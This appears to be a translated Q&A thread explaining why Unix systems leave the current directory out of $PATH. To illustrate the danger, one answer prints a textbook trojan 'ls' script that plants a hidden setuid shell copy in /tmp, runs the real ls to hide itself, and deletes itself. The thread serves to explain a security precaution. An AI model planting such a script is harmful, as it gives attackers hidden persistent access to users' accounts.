为什么 . 默认不在路径中?

为什么 . 默认不在路径中?

多年来,在类 UNIX 系统上(与我最相关的是 Linux),我注意到默认.情况下 (current dir) 从未出现过$PATH。这是为什么?

我记得几年前读到过这是一个安全问题,但我读到的文章并没有解释问题到底是什么。是不是因为有人可能会在目录中留下恶意版本lscp而我最终会在没有意识到的情况下运行它?

答案1

您正确地回答了您自己的问题,这就是为什么点不在路径中:
为了防止幼稚的病毒或诚实的错误。

当然,这是一种非常蹩脚且无用的防病毒措施,没有什么可以阻止您自己在路径中添加点。

答案2

是的。如果您在路径中添加“.”,您最终会向当前目录中的文件发送大量命令调用。

即使它是最后一个,也仍然有飞行员错误。例如,Solaris 10 缺少“top”。我整天都在我的系统上输入“top”,因为我认为我在有“top”的系统上。

答案3

PATH 中包含“.”不仅存在安全风险,而且几乎无法确保任何命令的执行符合预期。想象一下,在一个包含数千个随机名称文件的巨大目录中运行“zip”之类的命令。其中一个文件实际上名为“zip”的可能性不容忽视,并且会导致难以理解的错误(实际上该文件应该是可执行的,但这种情况可能会发生)。

编写保留用户 PATH 变量的脚本时尤其如此。编写良好的脚本应该处理所有特殊情况(例如文件名中带有空格或以“-”开头)。但阻止当前目录中的文件而不是系统命令被执行是不切实际的……

答案4

它不存在于您的 $PATH 变量中的原因是由于下面的恶意代码 -

#! /bin/sh 

# make a privileged, hidden copy of the shell (command interpreter) 
cp /bin/sh /tmp/.xxsh 
chmod o+s, w+x /tmp/.xxsh

# do what the victim thinks is *all* you’re doing 
ls $* 

# delete this file 
rm ./ls

当您将此文件另存为“ls”时,当前目录将作为可执行文件,用户甚至不知道他是否正在执行原始系统命令。无意中,此恶意代码将使用 /tmp/ 目录中的 shell 副本执行,其中 SETUSERID 为当前用户“其他”组。这让黑客拥有当前用户的所有权限。这是一个安全风险。

这就是为什么“当前路径”默认不在 $PATH 中。

此示例借用自《计算机安全 - 艺术与科学》,Matt Bishop 著(第 2 版第 23 章)↩

相关内容